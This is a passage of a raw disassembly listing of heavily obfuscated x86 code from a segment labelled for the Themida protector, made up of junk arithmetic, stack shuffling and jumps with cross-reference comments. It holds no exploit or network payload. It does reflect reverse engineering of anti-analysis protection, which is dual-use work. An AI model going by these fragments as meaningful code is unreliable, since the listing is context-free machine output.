		add	eax, ecx
		jmp	loc_5AD085
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5AC018
; ---------------------------------------------------------------------------


loc_59EEFD:				; CODE XREF: Themida_:005A0850j
		shl	esi, 5
		or	esi, 7933191Eh
		sub	esi, 7C396219h
		jmp	loc_5A2326
; ---------------------------------------------------------------------------


loc_59EF11:				; CODE XREF: Themida_:005A5376j
		xchg	ebx, edx
		jmp	loc_5A88CD
; ---------------------------------------------------------------------------


loc_59EF18:				; CODE XREF: Themida_:005A2257j
					; Themida_:005AF56Cj
		sub	ecx, 100C68E2h
		push	ebp
		jmp	loc_5AAE51
; ---------------------------------------------------------------------------


loc_59EF24:				; CODE XREF: Themida_:005A0F9Ej
					; Themida_:005A5220j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59D740
; ---------------------------------------------------------------------------


loc_59EF32:				; CODE XREF: Themida_:0059C811j
		inc	bp
		jmp	loc_59DB22
; ---------------------------------------------------------------------------


loc_59EF39:				; CODE XREF: Themida_:0059F4A6j
		pop	bx
		jmp	loc_5A3A88
; ---------------------------------------------------------------------------


loc_59EF40:				; CODE XREF: Themida_:005A0439j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A9368
; ---------------------------------------------------------------------------


loc_59EF4F:				; CODE XREF: Themida_:0059F03Cj
		add	eax, 3BDE6253h
		add	eax, ebx
		push	ecx
		mov	ecx, 57B44E14h
		add	ecx, 0E42A143Fh
		jmp	loc_5A6DDC
; ---------------------------------------------------------------------------


loc_59EF67:				; CODE XREF: Themida_:0059EB24j
		jmp	loc_59CC5C
; ---------------------------------------------------------------------------


loc_59EF6C:				; CODE XREF: Themida_:005A1C39j
		sub	eax, 5E995046h
		xor	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A7CDB
; ---------------------------------------------------------------------------


loc_59EF7F:				; CODE XREF: Themida_:005AC7D3j
		push	65B734FFh
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A17B7
; ---------------------------------------------------------------------------


loc_59EF9D:				; CODE XREF: Themida_:005A9963j
		mov	edx, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, 782E45B7h
		sub	ebx, edx
		pop	edx
		jmp	loc_5A53E9
; ---------------------------------------------------------------------------


loc_59EFB6:				; CODE XREF: Themida_:005A7FB0j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 4DB86EDAh
		push	ecx
		mov	ecx, 21F4210Dh
		xor	esi, ecx
		pop	ecx
		xor	esi, 6C4C4FD3h
		add	ebp, 62806056h
		jmp	loc_5A8F5A
; ---------------------------------------------------------------------------


loc_59EFDB:				; CODE XREF: Themida_:005A495Fj
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		jmp	loc_59B53A
; ---------------------------------------------------------------------------


loc_59EFE8:				; CODE XREF: Themida_:005AD2D0j
		mov	[esp], esi
		jmp	loc_5AD741
; ---------------------------------------------------------------------------


loc_59EFF0:				; CODE XREF: Themida_:005A118Cj
		neg	ch
		sub	ch, 0FFh
		xor	ch, 0A5h
		sub	al, ch
		pop	ecx
		jmp	loc_5A7C1A
; ---------------------------------------------------------------------------


loc_59F000:				; CODE XREF: Themida_:0059EA47j
					; Themida_:loc_5ACD15j
		shl	edx, 2
		or	edx, 2C1B2F25h
		jmp	loc_5A5921
; ---------------------------------------------------------------------------


loc_59F00E:				; CODE XREF: Themida_:005AE05Fj
		xor	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 56F7230Bh
		push	edi
		push	73C53EAh
		jmp	loc_5AE97C
; ---------------------------------------------------------------------------


loc_59F022:				; CODE XREF: Themida_:0059DF61j
		pop	edi
		xor	edx, 7D9835DBh
		jge	loc_5A3236
		add	edx, 0CE96F0Bh
		jl	loc_59F4E4


loc_59F03B:				; CODE XREF: Themida_:005AC563j
		pop	ebp
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------


loc_59F041:				; CODE XREF: Themida_:loc_5ABDDFj
		inc	edi
		jmp	loc_59A892
; ---------------------------------------------------------------------------


loc_59F047:				; CODE XREF: Themida_:005A4045j
					; Themida_:005A7E30j
		inc	edi
		shl	edi, 8
		jmp	loc_598A1C
; ---------------------------------------------------------------------------


loc_59F050:				; CODE XREF: Themida_:0059BB82j
		add	edi, 78A76C24h
		push	edi
		pop	ebp
		pop	edi
		jmp	loc_5A1FAD
; ---------------------------------------------------------------------------


loc_59F05E:				; CODE XREF: Themida_:005AB18Bj
		add	eax, ecx
		jmp	loc_5A00F3
; ---------------------------------------------------------------------------


loc_59F065:				; CODE XREF: Themida_:0059A9D7j
					; Themida_:0059A9DFj ...
		pop	eax
		xor	ebp, eax
		jmp	loc_5A1F5A
; ---------------------------------------------------------------------------


loc_59F06D:				; CODE XREF: Themida_:005A9300j
		push	1F87h
		mov	[esp], edi
		mov	edi, 308801DAh
		or	eax, edi
		jmp	loc_59C527
; ---------------------------------------------------------------------------


loc_59F081:				; CODE XREF: Themida_:005A8878j
		add	esp, 4
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 76A3230Bh
		push	edi
		mov	edi, 37674FD6h
		shr	edi, 6
		add	edi, 1
		neg	edi
		push	edx
		mov	edx, 343D25EFh
		inc	edx
		sub	edx, 7E2D5810h
		add	edx, 19555B03h
		neg	edx
		sub	edx, 2DA777AFh
		xor	edx, 227747EAh
		jmp	loc_5AE785
; ---------------------------------------------------------------------------


loc_59F0CF:				; CODE XREF: Themida_:0059F9ADj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A5521
; ---------------------------------------------------------------------------


loc_59F0E4:				; CODE XREF: Themida_:0059FC7Bj
		shr	ch, 6
		sub	ch, 5Bh
		jmp	loc_59CEEF
; ---------------------------------------------------------------------------


loc_59F0EF:				; CODE XREF: Themida_:005A002Ej
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A5A61
; ---------------------------------------------------------------------------


loc_59F114:				; CODE XREF: Themida_:005ACF83j
		add	edi, 0C94A8DABh
		add	ebp, edi
		push	dword ptr [esp]
		jmp	loc_59D98B
; ---------------------------------------------------------------------------


loc_59F124:				; CODE XREF: Themida_:0059C360j
		and	eax, 314B7D35h
		xor	eax, 200B3414h
		add	ebx, eax
		pop	eax
		jmp	loc_5A16A8
; ---------------------------------------------------------------------------


loc_59F136:				; CODE XREF: Themida_:00598C9Aj
					; Themida_:loc_59A035j
		add	al, 9Dh
		or	cl, al
		pop	eax
		sub	cl, 0ADh
		add	al, cl
		jmp	loc_59C394
; ---------------------------------------------------------------------------


loc_59F145:				; CODE XREF: Themida_:0059CB14j
					; Themida_:005A7382j
		push	edx
		mov	edx, 568C5747h
		and	edx, 73C136Eh
		sub	edx, 8D121BAh
		and	edx, 8752813h
		sub	edx, 8301FFCh
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9941
; ---------------------------------------------------------------------------


loc_59F16F:				; CODE XREF: Themida_:005A9E5Aj
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5ABC7D
; ---------------------------------------------------------------------------


loc_59F17A:				; CODE XREF: Themida_:005AE343j
		sub	al, 53h
		push	bx
		push	11B8h
		jmp	loc_5ABD49
; ---------------------------------------------------------------------------


loc_59F188:				; CODE XREF: Themida_:0059C49Ej
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_599051
; ---------------------------------------------------------------------------


loc_59F194:				; CODE XREF: Themida_:005A696Aj
		pop	edx
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------


loc_59F19A:				; CODE XREF: Themida_:005A784Cj
		push	ecx
		push	1EBCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_5A2A65
; ---------------------------------------------------------------------------


loc_59F1B9:				; CODE XREF: Themida_:loc_5AC7FBj
		jmp	loc_59D586
; ---------------------------------------------------------------------------


loc_59F1BE:				; CODE XREF: Themida_:005AC6D2j
		jmp	loc_59D36C
; ---------------------------------------------------------------------------


loc_59F1C3:				; CODE XREF: Themida_:005A15E7j
		mov	[esp], ebx
		jmp	loc_5AC0AE
; ---------------------------------------------------------------------------


loc_59F1CB:				; CODE XREF: Themida_:005A9350j
		pop	ecx
		sub	ebx, 28B13302h
		xor	ebx, 0C5FD3ABh
		push	ebp
		mov	ebp, 49341C85h
		add	edi, ebp
		pop	ebp
		jmp	loc_59EDD3
; ---------------------------------------------------------------------------


loc_59F1E6:				; CODE XREF: Themida_:0059D4F9j
					; Themida_:005A893Dj
		mov	dh, bh
		mov	ch, dh
		pop	edx
		jmp	loc_5AEB0B
; ---------------------------------------------------------------------------


loc_59F1F0:				; CODE XREF: Themida_:005ADADAj
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 2
		sub	ecx, 28676A5h
		add	ecx, ebx
		push	edi
		push	ebp
		mov	ebp, 11FF0160h
		inc	ebp
		or	ebp, 4D7E6CBEh
		xor	ebp, 5F791B5Ah
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AA9D0
; ---------------------------------------------------------------------------


loc_59F26D:				; CODE XREF: Themida_:00599110j
		xor	al, 0C5h
		xor	bh, al
		mov	eax, [esp]
		add	esp, 4
		sub	al, 41h
		add	al, bh
		add	al, 41h
		pop	ebx
		add	al, 0C3h
		jmp	loc_59B7EE
; ---------------------------------------------------------------------------


loc_59F285:				; CODE XREF: Themida_:005A8308j
		push	7A85h
		mov	[esp], edi
		pop	dword ptr [edx+38h]
		jmp	loc_5A055B
; ---------------------------------------------------------------------------


loc_59F295:				; CODE XREF: Themida_:005A3BEBj
		push	7D3Ah
		mov	[esp], esi
		mov	esi, 9277757h
		mov	eax, esi
		pop	esi
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 76B93CADh
		jmp	loc_5A6D61
; ---------------------------------------------------------------------------


loc_59F2BB:				; CODE XREF: Themida_:005A6A98j
		mov	esp, [esp]
		jmp	loc_5ABF99
; ---------------------------------------------------------------------------


loc_59F2C3:				; CODE XREF: Themida_:005A3334j
		push	ebx
		mov	ebx, 7B5970F2h
		not	ebx
		shl	ebx, 5
		xor	ebx, 0CDB7092h
		jns	loc_59A05B
		xor	ebx, 0B7262831h
		jmp	loc_5A79F9
; ---------------------------------------------------------------------------


loc_59F2E5:				; CODE XREF: Themida_:0059E44Fj
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 0AFh
		sub	bl, 3Fh
		jmp	loc_59A2CD
; ---------------------------------------------------------------------------


loc_59F2F9:				; CODE XREF: Themida_:005AD390j
		push	0BC0B0Eh
		pop	esi
		inc	esi
		jmp	loc_5A4498
; ---------------------------------------------------------------------------


loc_59F305:				; CODE XREF: Themida_:005A63B0j
		push	edx
		mov	edx, esp
		jmp	loc_5A2AF0
; ---------------------------------------------------------------------------


loc_59F30D:				; CODE XREF: Themida_:0059B027j
		neg	eax
		sub	eax, 2028234Ch
		xor	edi, eax
		pop	eax
		sub	eax, edi
		pop	edi
		pop	esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A9AF8
; ---------------------------------------------------------------------------


loc_59F32C:				; CODE XREF: Themida_:0059B005j
		add	eax, 29C73DB3h
		add	eax, ebx
		jmp	loc_5A32C0
; ---------------------------------------------------------------------------


loc_59F338:				; CODE XREF: Themida_:005AACFEj
		xor	esi, [esp]
		jmp	loc_59EB4E
; ---------------------------------------------------------------------------


loc_59F340:				; CODE XREF: Themida_:005ABC43j
		add	ebp, ebx
		add	ebp, 5CA5680Bh
		jmp	loc_59E80C
; ---------------------------------------------------------------------------


loc_59F34D:				; CODE XREF: Themida_:005ACB77j
		add	esp, 4
		push	ebx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebx
		inc	ebx
		shr	ebx, 1
		push	esi
		push	ebx
		push	0A36590Dh
		jmp	loc_59A965
; ---------------------------------------------------------------------------


loc_59F36C:				; CODE XREF: Themida_:0059ADE7j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A4015
; ---------------------------------------------------------------------------


loc_59F37A:				; CODE XREF: Themida_:005A3092j
		mov	bl, 0EBh
		add	bl, cl
		pop	ecx
		sub	bl, dh
		mov	edx, [esp]
		push	ecx
		jmp	loc_5A2A08
; ---------------------------------------------------------------------------


loc_59F38A:				; CODE XREF: Themida_:0059B04Fj
		mov	[esp], esi
		mov	esi, 2
		push	edx
		mov	edx, 4CA50E73h
		and	edx, 119A5641h
		xor	edx, 209E7302h
		add	edx, 314A6007h
		xor	edx, 0F35A9CEh
		jmp	loc_599562
; ---------------------------------------------------------------------------


loc_59F3B5:				; CODE XREF: Themida_:0059A5CCj
		mov	esi, 6F12211Fh
		sub	edi, esi
		pop	esi
		pop	edx
		movzx	eax, al
		jmp	loc_5A0166
; ---------------------------------------------------------------------------


loc_59F3C6:				; CODE XREF: Themida_:005A1346j
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 43F73C3Ch
		pop	esi
		xor	esi, 43F73C3Ch
		push	dword ptr [esp]
		jmp	loc_5A217E
; ---------------------------------------------------------------------------


loc_59F3F6:				; CODE XREF: Themida_:005A72F3j
		add	dword ptr [esp+8], 1EBA6C40h
		add	[esp+8], ebp
		push	edi
		mov	edi, 1EBA6C40h
		jmp	loc_5AEBE6
; ---------------------------------------------------------------------------


loc_59F40D:				; CODE XREF: Themida_:005A7A57j
		pop	eax
		xor	al, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5AE7B4
; ---------------------------------------------------------------------------


loc_59F42A:				; CODE XREF: Themida_:005ADC23j
		neg	al
		jmp	loc_5A70E1
; ---------------------------------------------------------------------------


loc_59F431:				; CODE XREF: Themida_:loc_5A96FCj
		xor	ecx, 0BB594447h
		push	ebp
		jmp	loc_5A2B61
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59F444:				; CODE XREF: Themida_:005A4933j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A84F1
; ---------------------------------------------------------------------------


loc_59F451:				; CODE XREF: Themida_:0059E318j
		add	esp, 2
		mov	bp, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	edx
		push	32DE4BE3h
		pop	edx
		xor	edx, 32DE4BE7h
		push	edx
		jmp	loc_59A8AC
; ---------------------------------------------------------------------------


loc_59F46F:				; CODE XREF: Themida_:00599444j
					; Themida_:005A9EC2j
		xor	cl, bh
		jmp	loc_5A8AFC
; ---------------------------------------------------------------------------


loc_59F476:				; CODE XREF: Themida_:0059FAF5j
		shl	ebx, 2
		or	ebx, 1C716D06h
		jmp	loc_5AD395
; ---------------------------------------------------------------------------


loc_59F484:				; CODE XREF: Themida_:005A2554j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A0421
; ---------------------------------------------------------------------------


loc_59F4A0:				; CODE XREF: Themida_:005AC8B7j
		sub	al, 47h
		sub	al, bh
		add	al, 47h
		jmp	loc_59EF39
; ---------------------------------------------------------------------------


loc_59F4AB:				; CODE XREF: Themida_:005A03E9j
		push	3F23h
		jmp	loc_599096
; ---------------------------------------------------------------------------


loc_59F4B5:				; CODE XREF: Themida_:0059FDCFj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A3BD2
; ---------------------------------------------------------------------------


loc_59F4E4:				; CODE XREF: Themida_:0059B935j
					; Themida_:0059F035j
		xor	[esp], ecx
		jmp	loc_5AE016
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5632h
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A826C
; ---------------------------------------------------------------------------


loc_59F508:				; CODE XREF: Themida_:00598869j
		sub	esp, 4
		jmp	loc_59E9BF
; ---------------------------------------------------------------------------


loc_59F510:				; CODE XREF: Themida_:005A3AF6j
		jl	loc_5A0F32
		and	ebx, 11D108BBh
		jle	loc_59B7BB
		mov	ebx, esi


loc_59F524:				; CODE XREF: Themida_:005A5430j
		push	ebp
		mov	ebp, esp
		jmp	loc_5AB681
; ---------------------------------------------------------------------------


loc_59F52C:				; CODE XREF: Themida_:005ADD9Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A9665
; ---------------------------------------------------------------------------


loc_59F53A:				; CODE XREF: Themida_:005A8D85j
		xchg	esi, edi
		jmp	loc_5A1A17
; ---------------------------------------------------------------------------


loc_59F541:				; CODE XREF: Themida_:005A824Bj
					; Themida_:005AC29Fj
		mov	ebx, 3642C72h
		neg	ebx
		shl	ebx, 6
		add	ebx, 210A5F6Fh
		sub	ebx, 6F436D3Ch
		dec	ebx
		xor	ebx, 0BCF6E8B3h
		add	edx, 26513B8Ch
		sub	edx, ebx
		sub	edx, 26513B8Ch
		pop	ebx
		jmp	loc_5A0F16
; ---------------------------------------------------------------------------


loc_59F572:				; CODE XREF: Themida_:0059C55Dj
		sub	ebx, 0C5C39179h
		push	ecx
		mov	ecx, 23C0361Bh
		and	ecx, 1D657C7Eh
		jmp	loc_5AAB7A
; ---------------------------------------------------------------------------


loc_59F589:				; CODE XREF: Themida_:005A9002j
					; Themida_:005AC732j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59F58E:				; CODE XREF: Themida_:00598DE6j
		neg	esi
		add	esi, 50D953B0h
		not	esi
		inc	esi
		or	esi, 499F155Eh
		jmp	loc_59E1E8
; ---------------------------------------------------------------------------


loc_59F5A4:				; CODE XREF: Themida_:005A5B42j
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		push	7A45h
		mov	[esp], edi
		push	55C3h
		mov	[esp], edx
		jmp	loc_5A1F16
; ---------------------------------------------------------------------------


loc_59F5C4:				; CODE XREF: Themida_:005AB38Fj
		push	44EFh
		jmp	loc_59B302
; ---------------------------------------------------------------------------


loc_59F5CE:				; CODE XREF: Themida_:0059DBB1j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	bx
		mov	bl, ch
		xchg	dh, bl
		not	dh
		xchg	dh, bl
		mov	ch, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_5ADA2A
; ---------------------------------------------------------------------------


loc_59F5F2:				; CODE XREF: Themida_:005AA9C6j
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_59A52B
; ---------------------------------------------------------------------------


loc_59F5FC:				; CODE XREF: Themida_:005AB90Fj
		sub	bl, ch
		pop	ecx
		add	bl, 5Eh
		shr	bl, 5
		sub	bl, 0EFh
		sub	al, bl
		pop	ebx
		push	edx
		mov	dl, 8Fh
		add	bl, dl
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AD2F6
; ---------------------------------------------------------------------------


loc_59F625:				; CODE XREF: Themida_:005A1087j
		pop	esi
		push	eax
		push	esp
		jmp	loc_5A82CD
; ---------------------------------------------------------------------------


loc_59F62D:				; CODE XREF: Themida_:0059AD8Fj
		push	ebx
		push	3756h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		push	esp
		jmp	loc_5ABBBF
; ---------------------------------------------------------------------------


loc_59F642:				; CODE XREF: Themida_:005A9537j
		mov	ecx, ebx
		jmp	loc_5A914D
; ---------------------------------------------------------------------------


loc_59F649:				; CODE XREF: Themida_:0059E382j
		add	ecx, 29CB5F6Ah
		mov	ebx, [esp]
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_5A052B
; ---------------------------------------------------------------------------


loc_59F662:				; CODE XREF: Themida_:00599688j
		shr	esi, 7
		jmp	loc_59ED71
; ---------------------------------------------------------------------------


loc_59F66A:				; CODE XREF: Themida_:005AF351j
		pop	eax
		mov	eax, edi
		pop	edi
		shl	eax, 7
		sub	eax, 44507D80h
		sub	eax, 785137C5h
		add	eax, 80566BD6h
		jmp	loc_5A6AC4
; ---------------------------------------------------------------------------


loc_59F685:				; CODE XREF: Themida_:005A36C5j
		add	esp, 4
		jmp	loc_5A67A0
; ---------------------------------------------------------------------------


loc_59F690:				; CODE XREF: Themida_:005A3231j
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59E85B
; ---------------------------------------------------------------------------


loc_59F6B4:				; CODE XREF: Themida_:005A4A5Fj
		inc	edi
		xor	edi, 5DB91CE3h
		jns	loc_59C181
		not	edi
		push	ecx
		jmp	loc_5A6470
; ---------------------------------------------------------------------------
		push	edi
		push	ebx
		mov	ch, 0DAh
		pop	esp


loc_59F6CF:				; CODE XREF: Themida_:005AD2B9j
		dec	ebx
		jmp	loc_5A58AD
; ---------------------------------------------------------------------------


loc_59F6D5:				; CODE XREF: Themida_:005AC17Bj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5AEF2B
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: Themida_:0059DBE0j
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0C4D7E33h
		jmp	loc_5A428A
; ---------------------------------------------------------------------------


loc_59F6FC:				; CODE XREF: Themida_:0059F876j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	79C3h
		mov	[esp], eax
		mov	eax, 66885972h
		push	ebx
		jmp	loc_59AD94
; ---------------------------------------------------------------------------


loc_59F720:				; CODE XREF: Themida_:005A4449j
		mov	ebx, 567E22BCh
		push	edi
		jmp	loc_59AEE9
; ---------------------------------------------------------------------------


loc_59F72B:				; CODE XREF: Themida_:005A4D50j
		pop	edx
		push	ecx
		jmp	loc_5A9B00
; ---------------------------------------------------------------------------


loc_59F732:				; CODE XREF: Themida_:005AACF6j
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_5A9A17
; ---------------------------------------------------------------------------


loc_59F73C:				; CODE XREF: Themida_:005ADA25j
		pop	ecx
		sub	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	1CEEh
		mov	[esp], edx
		mov	edx, 3AC958C5h
		inc	edx
		jge	loc_5AB966
		xor	edx, 7503011Bh
		jz	loc_5AA8CA
		pop	edi


loc_59F768:				; CODE XREF: Themida_:00599D6Dj
		xor	ebp, 68307B84h
		jmp	loc_5A8DF2
; ---------------------------------------------------------------------------


loc_59F773:				; CODE XREF: Themida_:005A5A37j
		sub	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_5AE96B
; ---------------------------------------------------------------------------


loc_59F77C:				; CODE XREF: Themida_:005A2FB2j
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A180D
; ---------------------------------------------------------------------------


loc_59F787:				; CODE XREF: Themida_:005A36F9j
		mov	ebx, 691747DEh
		xor	ebx, 51AB728Eh
		jno	loc_599ED6
		jmp	loc_5A4498
; ---------------------------------------------------------------------------
		xor	edi, 0D7791B02h
		pop	ebx


loc_59F7A4:				; CODE XREF: Themida_:005A0EE3j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5ADE1C
; ---------------------------------------------------------------------------


loc_59F7AD:				; CODE XREF: Themida_:005A18A8j
					; Themida_:005A46D4j
		push	edi
		jmp	loc_5A93C2
; ---------------------------------------------------------------------------


loc_59F7B3:				; CODE XREF: Themida_:005A9E11j
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59CA0C
; ---------------------------------------------------------------------------


loc_59F7C4:				; CODE XREF: Themida_:005A8338j
		xor	eax, 6ABF3E62h
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ecx, esi
		jmp	loc_5ABE0F
; ---------------------------------------------------------------------------


loc_59F7D9:				; CODE XREF: Themida_:005AAE5Cj
		add	ebp, eax
		pop	eax
		sub	ebp, 18B1AE74h
		add	ecx, 15CF5B09h
		sub	ecx, ebp
		sub	ecx, 15CF5B09h
		jmp	loc_5A887D
; ---------------------------------------------------------------------------


loc_59F7F5:				; CODE XREF: Themida_:0059D036j
		mov	[esp], edx
		jmp	loc_5A130E
; ---------------------------------------------------------------------------


loc_59F7FD:				; CODE XREF: Themida_:loc_598F0Ej
		push	ecx
		mov	ecx, 9483E196h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 65852D52h
		add	ebx, 746C5347h
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 746C5347h
		jmp	loc_5A8009
; ---------------------------------------------------------------------------


loc_59F824:				; CODE XREF: Themida_:0059E6F6j
		push	3CBF2F9Dh
		jmp	loc_5A6E3D
; ---------------------------------------------------------------------------


loc_59F82E:				; CODE XREF: Themida_:005A4775j
		mov	[esp], eax
		mov	ah, 7Ah
		xor	ah, 73h
		add	bl, ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A905F
; ---------------------------------------------------------------------------


loc_59F843:				; CODE XREF: Themida_:005A928Bj
		inc	cl
		jnp	loc_5AF040
		push	edx
		mov	dl, 32h
		shl	dl, 6
		xor	dl, 87h
		push	eax
		mov	al, 59h
		mov	cl, al


loc_59F859:				; CODE XREF: Themida_:005ABC70j
		pop	esi
		dec	edx
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------


loc_59F860:				; CODE XREF: Themida_:005A4C23j
		push	edi
		mov	edi, 2EF17341h
		jmp	loc_5A3CD1
; ---------------------------------------------------------------------------


loc_59F86B:				; CODE XREF: Themida_:00598C37j
		jmp	loc_59CE55
; ---------------------------------------------------------------------------


loc_59F870:				; CODE XREF: Themida_:005990EDj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59F6FC
; ---------------------------------------------------------------------------


loc_59F87B:				; CODE XREF: Themida_:005A61F2j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5A2A97
; ---------------------------------------------------------------------------


loc_59F888:				; CODE XREF: Themida_:005A80B7j
		not	ebx
		jmp	loc_5A9AF2
; ---------------------------------------------------------------------------


loc_59F88F:				; CODE XREF: Themida_:005A58B3j
		mov	edi, ebx
		jmp	loc_5AC4EC
; ---------------------------------------------------------------------------


loc_59F896:				; CODE XREF: Themida_:005AD4F2j
		add	edi, ebp
		add	edi, 69E47673h
		sub	edi, 47870C74h
		pop	ebp
		jmp	loc_5AF3F9
; ---------------------------------------------------------------------------


loc_59F8AA:				; CODE XREF: Themida_:005A9C08j
		sub	ebx, 0ADA0C8Eh
		add	ebx, esi
		add	ebx, 0ADA0C8Eh
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59F8C1:				; CODE XREF: Themida_:005A578Bj
		sub	ecx, 430F0E83h
		add	ecx, edi
		add	ecx, 430F0E83h
		jmp	loc_59EDE7
; ---------------------------------------------------------------------------


loc_59F8D4:				; CODE XREF: Themida_:005A378Bj
		mov	[esp], dx
		mov	dl, 0EAh
		sub	al, dl
		pop	dx
		jmp	loc_599ACC
; ---------------------------------------------------------------------------


loc_59F8E3:				; CODE XREF: Themida_:0059B7B6j
		shr	esi, 2
		and	esi, 211F44FBh
		jmp	loc_5AB9E2
; ---------------------------------------------------------------------------


loc_59F8F1:				; CODE XREF: Themida_:005ACB29j
		mov	ecx, [esp]
		jmp	loc_5A6618
; ---------------------------------------------------------------------------


loc_59F8F9:				; CODE XREF: Themida_:0059A099j
		mov	[esp], edx
		jmp	loc_59CA47
; ---------------------------------------------------------------------------


loc_59F901:				; CODE XREF: Themida_:0059A0CDj
		add	ebp, ecx
		pop	ecx
		xor	ebp, 0B507D12h
		jmp	loc_59D000
; ---------------------------------------------------------------------------


loc_59F90F:				; CODE XREF: Themida_:005A3FD3j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		jmp	loc_5A300E
; ---------------------------------------------------------------------------


loc_59F91C:				; CODE XREF: Themida_:005A194Aj
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5AAA0C
